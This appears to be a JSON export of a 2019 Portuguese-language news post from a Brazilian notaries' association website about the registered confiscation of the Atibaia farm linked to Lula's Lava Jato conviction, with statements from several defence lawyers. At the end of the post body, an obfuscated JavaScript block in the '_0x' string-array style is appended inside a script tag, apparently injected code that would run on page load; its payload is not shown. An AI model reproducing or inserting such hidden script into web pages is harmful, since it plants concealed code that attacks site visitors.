{"id":2434,"date":"2019-04-29T09:46:57","date_gmt":"2019-04-29T13:46:57","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/confisco-do-sitio-de-atibaia-e-registrado-em-cartorio\/"},"modified":"2019-04-29T09:46:57","modified_gmt":"2019-04-29T13:46:57","slug":"confisco-do-sitio-de-atibaia-e-registrado-em-cartorio","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/confisco-do-sitio-de-atibaia-e-registrado-em-cartorio\/","title":{"rendered":"Confisco do s\u00edtio de Atibaia \u00e9 registrado em cart\u00f3rio"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;S&atilde;o Paulo &ndash; A 1&ordf; Vara Federal de Bragan&ccedil;a Paulista informou a ju&iacute;za Gabriela Hardt de que foi registrado, no cart&oacute;rio de Atibaia, no interior de S&atilde;o Paulo, o confisco do s&iacute;tio Santa B&aacute;rbara, piv&ocirc; da condena&ccedil;&atilde;o do ex-presidente Luiz In&aacute;cio Lula da Silva a 12 anos e 11 meses na Opera&ccedil;&atilde;o Lava Jato. A ordem de confisco do s&iacute;tio est&aacute; entre as determina&ccedil;&otilde;es da senten&ccedil;a.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Segundo a magistrada, a lei de lavagem de dinheiro prev&ecirc; a &lsquo;perda, em favor da Uni&atilde;o, dos bens e valores relacionados, direta ou indiretamente, &agrave; pr&aacute;tica dos crimes&rsquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A ju&iacute;za afirma que ter conclu&iacute;do &lsquo;que s&atilde;o proveito do crime de lavagem as benfeitorias feitas nas reformas do s&iacute;tio de Atibaia, para as quais foram empregados ao menos R$ 1.020.500,00&rsquo;. &ldquo;J&aacute; foi narrado nesta senten&ccedil;a que n&atilde;o se discute aqui a propriedade do s&iacute;tio. Contudo, os valores das benfeitorias, feitas em especial no im&oacute;vel de matr&iacute;cula 55.422, registrado em nome de Fernando Bittar e sua esposa, no m&iacute;nimo equivalem ao valor do terreno, comprado em 2010 pelo valor de R$ 500.000,00&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Ap&oacute;s a senten&ccedil;a, a ju&iacute;za determinou que o cart&oacute;rio de im&oacute;veis em Atibaia formalize o confisco do s&iacute;tio. A carta precat&oacute;ria enviada pela ju&iacute;za &agrave; Justi&ccedil;a Federal em Bragan&ccedil;a Paulista tem como objetivo a &lsquo;formaliza&ccedil;&atilde;o do sequestro do im&oacute;vel, bem como registro do sequestro no Cart&oacute;rio de Registro de Im&oacute;veis competente&rsquo;. A ordem de confisco do s&iacute;tio est&aacute; entre as determina&ccedil;&otilde;es da senten&ccedil;a que condenou Lula.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Em cumprimento &agrave; decis&atilde;o, a1&ordf; Vara Federal de Bragan&ccedil;a Paulista informou que o &lsquo;Auto de Sequestro de bem im&oacute;vel datado de 15\/02\/2019, foi efetivado o registro do sequestro no R.8 da Matricula 55.422, conforme determinado&rsquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Agora, na matr&iacute;cula da propriedade do S&iacute;tio,que, ap&oacute;s a aliena&ccedil;&atilde;o do im&oacute;vel, &ldquo;eventual diferen&ccedil;a entre o valor das benfeitorias objeto dos crimes reconhecidos na senten&ccedil;a e o valor pago pela totalidade&rsquo; dele &lsquo;seja revertida aos propriet&aacute;rios&rsquo;. O s&iacute;tio est&aacute; em nome Fernando e Lilian Bittar.<\/p>\n<p style=\"text-align: justify;\"><strong>Condenados<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A senten&ccedil;a de Gabriela Hardt tem 360 p&aacute;ginas. Tamb&eacute;m foram condenados os empres&aacute;rios Jos&eacute; Adelm&aacute;rio Pinheiro Neto, o L&eacute;o Pinheiro, ligado a OAS, a 1 ano, 7 meses e 15 dias, o pecuarista Jos&eacute; Carlos Bumlai a 3 anos e 9 meses, o advogado Roberto Teixeira a 2 anos de reclus&atilde;o, o empres&aacute;rio Fernando Bittar (propriet&aacute;rio formal do s&iacute;tio) a 3 anos de reclus&atilde;o e o empres&aacute;rio ligado &agrave; OAS Paulo Gordilho a 3 anos de reclus&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A ju&iacute;za condenou os empres&aacute;rios Marcelo Odebrecht a 5 anos e 4 meses , Emilio Odebrecht a 3 anos e 3 meses, Alexandrino Alencar a 4 anos e Carlos Armando Guedes Paschoal a 2 anos. O engenheiro Emyr Diniz Costa Junior recebeu 3 anos de pris&atilde;o. Todos s&atilde;o delatores e, por isso, v&atilde;o cumprir as penas acertadas em seus acordos.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Gabriela Hardt absolveu Rog&eacute;rio Aur&eacute;lio Pimentel, o &lsquo;capataz&rsquo; das obras do s&iacute;tio.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A Lava Jato afirma que o s&iacute;tio passou por tr&ecirc;s reformas: uma sob comando do pecuarista Jos&eacute; Carlos Bumlai, no valor de R$ 150 mil, outra da Odebrecht, de R$ 700 mil e uma terceira reforma na cozinha, pela OAS, de R$ 170 mil, em um total de R$ 1,02 milh&atilde;o.<\/p>\n<p style=\"text-align: justify;\"><strong>A&ccedil;&atilde;o<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O s&iacute;tio Santa B&aacute;rbara &eacute; piv&ocirc; da terceira a&ccedil;&atilde;o penal da Lava Jato, no Paran&aacute;, contra o ex-presidente &ndash; al&eacute;m de sua segunda condena&ccedil;&atilde;o. O petista ainda &eacute; acusado por corrup&ccedil;&atilde;o e lavagem de dinheiro por supostas propinas da Odebrecht &ndash; um terreno que abrigaria o Instituto Lula e um apartamento vizinho ao que morava o ex-presidente em S&atilde;o Bernardo do Campo.<\/p>\n<p style=\"text-align: justify;\"><strong>Pris&atilde;o<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O ex-presidente j&aacute; cumpre pena de 12 anos e um m&ecirc;s de pris&atilde;o no caso triplex, em &lsquo;sala especial&rsquo;, na sede da Pol&iacute;cia Federal do Paran&aacute;, em Curitiba, desde 7 abril de 2018, por ordem do ent&atilde;o juiz federal S&eacute;rgio Moro.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Lula foi sentenciado pelo Tribunal Regional Federal da 4.&ordf; Regi&atilde;o pelos crimes de corrup&ccedil;&atilde;o passiva e lavagem de dinheiro envolvendo suposta propina de R$ 2,2 milh&otilde;es da OAS referente &agrave;s reformas do im&oacute;vel.<\/p>\n<p style=\"text-align: justify;\"><strong>Nota da Defesa de Lula<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp; &nbsp; &nbsp;<\/strong>A defesa do ex-presidente Lula recorrer&aacute; de mais uma decis&atilde;o condenat&oacute;ria proferida hoje (06\/02\/2019) pela 13&ordf;. Justi&ccedil;a Federal de Curitiba que atenta aos mais basilares par&acirc;metros jur&iacute;dicos e refor&ccedil;a o uso perverso das leis e dos procedimentos jur&iacute;dicos para fins de persegui&ccedil;&atilde;o pol&iacute;tica, pr&aacute;tica que reputamos como &ldquo;lawfare&rdquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A senten&ccedil;a segue a mesma linha da senten&ccedil;a proferida pelo ex-juiz S&eacute;rgio Moro, que condenou Lula sem ele ter praticado qualquer ato de of&iacute;cio vinculado ao recebimento de vantagens indevidas, vale dizer, sem ter praticado o crime de corrup&ccedil;&atilde;o que lhe foi imputado. Uma vez mais a Justi&ccedil;a Federal de Curitiba atribuiu responsabilidade criminal ao ex-presidente tendo por base uma acusa&ccedil;&atilde;o que envolve um im&oacute;vel do qual ele n&atilde;o &eacute; o propriet&aacute;rio, um &ldquo;caixa geral&rdquo; e outras narrativas acusat&oacute;rias referenciadas apenas por delatores generosamente beneficiados.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A decis&atilde;o desconsiderou as provas de inoc&ecirc;ncia apresentadas pela Defesa de Lula nas 1.643 p&aacute;ginas das alega&ccedil;&otilde;es finais protocoladas h&aacute; menos de um m&ecirc;s (07\/01\/2019) &ndash; com exaustivo exame dos 101 depoimentos prestados no curso da a&ccedil;&atilde;o penal, laudos t&eacute;cnicos e documentos anexados aos autos. Chega-se ao ponto de a senten&ccedil;a rebater genericamente a argumenta&ccedil;&atilde;o da defesa de Lula fazendo refer&ecirc;ncia a &ldquo;depoimentos prestados por colaboradores e co-r&eacute;us Leo Pinheiro e Jos&eacute; Adelm&aacute;rio&rdquo; (p. 114), como se fossem pessoas diferentes, o que evidencia o distanciamento dos fundamentos apresentados na senten&ccedil;a da realidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Ainda para evidenciar o absurdo da nova senten&ccedil;a condenat&oacute;ria, registra-se que:<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ndash; Lula foi condenado pelo &ldquo;pelo recebimento de R$ 700 mil em vantagens indevidas da Odebrecht&rdquo; mesmo a defesa tendo comprovado, por meio de laudo pericial elaborado a partir da an&aacute;lise do pr&oacute;prio sistema de contabilidade paralelo da Odebrecht, que tal valor foi sacado em proveito de um dos principais executivos do grupo Odebrecht (presidente do Conselho de Administra&ccedil;&atilde;o); esse documento t&eacute;cnico (elaborado por auditor e perito com responsabilidade legal sobre o seu conte&uacute;do) e comprovado por documentos do pr&oacute;prio sistema da Odebrecht foi descartado sob o censur&aacute;vel fundamento de que &ldquo;esta &eacute; uma an&aacute;lise contratada por parte da a&ccedil;&atilde;o penal, buscando corroborar a tese defensiva&rdquo; &ndash; como se toda demonstra&ccedil;&atilde;o t&eacute;cnica apresentada no processo pela defesa n&atilde;o tivesse valor probat&oacute;rio;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ndash; Lula foi condenado pelo crime de corrup&ccedil;&atilde;o passiva por afirmado &ldquo;recebimento de R$ 170 mil em vantagens indevidas da OAS&rdquo; no ano de 2014 quando ele n&atilde;o exercia qualquer fun&ccedil;&atilde;o p&uacute;blica e, a despeito do reconhecimento, j&aacute; exposto, de que n&atilde;o foi identificado pela senten&ccedil;a qualquer ato de of&iacute;cio praticado pelo ex-presidente em benef&iacute;cio das empreiteiras envolvidas no processo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ndash; foi aplicada a Lula, uma vez mais, uma pena fora de qualquer par&acirc;metro das penas j&aacute; aplicadas no &acirc;mbito da pr&oacute;pria Opera&ccedil;&atilde;o Lava Jato &ndash; que segundo julgamento do TRF4 realizado em 2016, n&atilde;o precisa seguir as &ldquo;regras gerais&rdquo; &ndash; mediante fundamenta&ccedil;&atilde;o ret&oacute;rica e sem a observ&acirc;ncia dos padr&otilde;es legalmente estabelecidos.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Em 2016 a defesa demonstrou perante o Comit&ecirc; de Direitos Humanos da ONU a ocorr&ecirc;ncia de grosseiras viola&ccedil;&otilde;es &agrave;s garantais fundamentais, inclusive no tocante &agrave; aus&ecirc;ncia de um julgamento justo, imparcial e independente. O conte&uacute;do da senten&ccedil;a condenat&oacute;ria proferida hoje somente confirma essa situa&ccedil;&atilde;o e por isso ser&aacute; levada ao conhecimento do Comit&ecirc;, que poder&aacute; julgar o comunicado ainda neste ano &ndash; e eventualmente auxiliar o pa&iacute;s a restabelecer os direitos de Lula.<\/p>\n<p style=\"text-align: justify;\">Cristiano Zanin Martins<\/p>\n<p style=\"text-align: justify;\"><strong>Defesa de Bittar<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp; &nbsp; &nbsp;<\/strong>O criminalista Alberto Zacharias Toron, que defende o empres&aacute;rio Fernando Bittar, condenado a 3 anos de reclus&atilde;o no processo do s&iacute;tio de Atibaia, disse que a senten&ccedil;a da ju&iacute;za Gabriela Hardt &lsquo;&eacute; equilibrada&rsquo;. &ldquo;Vamos recorrer, mas a senten&ccedil;a mostra a disparidade entre a acusa&ccedil;&atilde;o e a realidade reconhecida por uma ju&iacute;za que n&atilde;o &eacute; exatamente uma liberal, ao contr&aacute;rio, &eacute; reconhecida como uma ju&iacute;za linha dura.&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Para Toron, &eacute; importante destacar que a for&ccedil;a-tarefa do Minist&eacute;rio P&uacute;blico Federal da Opera&ccedil;&atilde;o Lava Jato imputava a Bittar &ndash; propriet&aacute;rio do s&iacute;tio de Atibaia &ndash; a pr&aacute;tica de 44 atos de lavagem de dinheiro. &ldquo;A doutora Gabriela Hardt condenou Bittar por apenas uma lavagem. Isso mostra a pr&aacute;tica de acusa&ccedil;&atilde;o excessiva do Minist&eacute;rio P&uacute;blico.&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O criminalista avalia que a for&ccedil;a-tarefa da Lava Jato &lsquo;com sua estrat&eacute;gia usual de fazer acusa&ccedil;&atilde;o excessiva quer compelir a pessoa a fazer uma dela&ccedil;&atilde;o, no caso queriam que falassem do Lula e da dona Marisa, quando na verdade n&atilde;o h&aacute; base nenhuma para uma acusa&ccedil;&atilde;o dessa magnitude&rsquo;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O advogado demonstra preocupa&ccedil;&atilde;o com o plea bargain, acordo penal adotado em larga escala nos Estados Unidos e que o ex-juiz da Lava Jato S&eacute;rgio Moro incluiu no pacote anticrime entregue ao Congresso nesta quarta, 6.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Agora vem o plea bargain do Moro. V&atilde;o te acusar de crimes que levam a uma pena de 100 anos. O que voc&ecirc; faz? Se fizer acordo a pena cai para 5 anos. A pessoa vai aceitar. Vamos ter que discutir muito isso.&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;O que &eacute; importante destacar &eacute; que o pr&oacute;prio Minist&eacute;rio P&uacute;blico, nas alega&ccedil;&otilde;es finais, reconheceu que o Fernando Bittar &eacute; o verdadeiro propriet&aacute;rio do s&iacute;tio de Atibaia&rdquo;, segue Toron. &ldquo;Enfim, ficou definida a propriedade do s&iacute;tio.&rdquo;<\/p>\n<p style=\"text-align: justify;\"><strong>Defesa de Jos&eacute; Carlos Bumlai<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>&nbsp; &nbsp; &nbsp;<\/strong>&ldquo;Jos&eacute; Carlos Bumlai recebeu com imensa surpresa a not&iacute;cia de sua condena&ccedil;&atilde;o e dela ir&aacute; recorrer, pois jamais contribuiu financeiramente com as reformas do s&iacute;tio de Atibaia. A senten&ccedil;a &eacute; at&eacute;cnica e n&atilde;o aponta a origem nem a ilicitude dos valores que seriam objeto da suposta lavagem. Al&eacute;m disso, a pena e o regime de cumprimento impostos a ele s&atilde;o totalmente desproporcionais.&rdquo;<\/p>\n<p style=\"text-align: justify;\"><strong>Defesa de Roberto Teixeira<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;A magistrada j&aacute; deu a substitui&ccedil;&atilde;o, aplicou regime aberto e substituiu por presta&ccedil;&atilde;o de servi&ccedil;os &agrave; comunidade. Mas vou recorrer, at&eacute; porque o Minist&eacute;rio P&uacute;blico Federal vai recorrer.&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;A defesa de Roberto Teixeira, embora reconhe&ccedil;a qualidades e m&eacute;ritos da prolatora da senten&ccedil;a ir&aacute; recorrer, pois entende que ele, como exposto desde a resposta &agrave; den&uacute;ncia at&eacute; as alega&ccedil;&otilde;es finais, n&atilde;o cometeu o delito que lhe &eacute; imputado.&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Entende tamb&eacute;m que a sua inoc&ecirc;ncia ficou comprovada pela prova dos autos e que, em consequ&ecirc;ncia, a senten&ccedil;a contrariou todos os elementos carreados para o processo que demonstraram a atipicidade da conduta de Roberto Teixeira.&rdquo;<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;&Eacute; importante deixar claro que a conduta de Roberto Teixeira foi uma conduta do advogado. Sua conduta foi a do advogado na defesa dos interesses de seu cliente. Dessa forma n&atilde;o pode ele ser punido criminalmente porque ser&aacute; punida assim a Advocacia.&rdquo;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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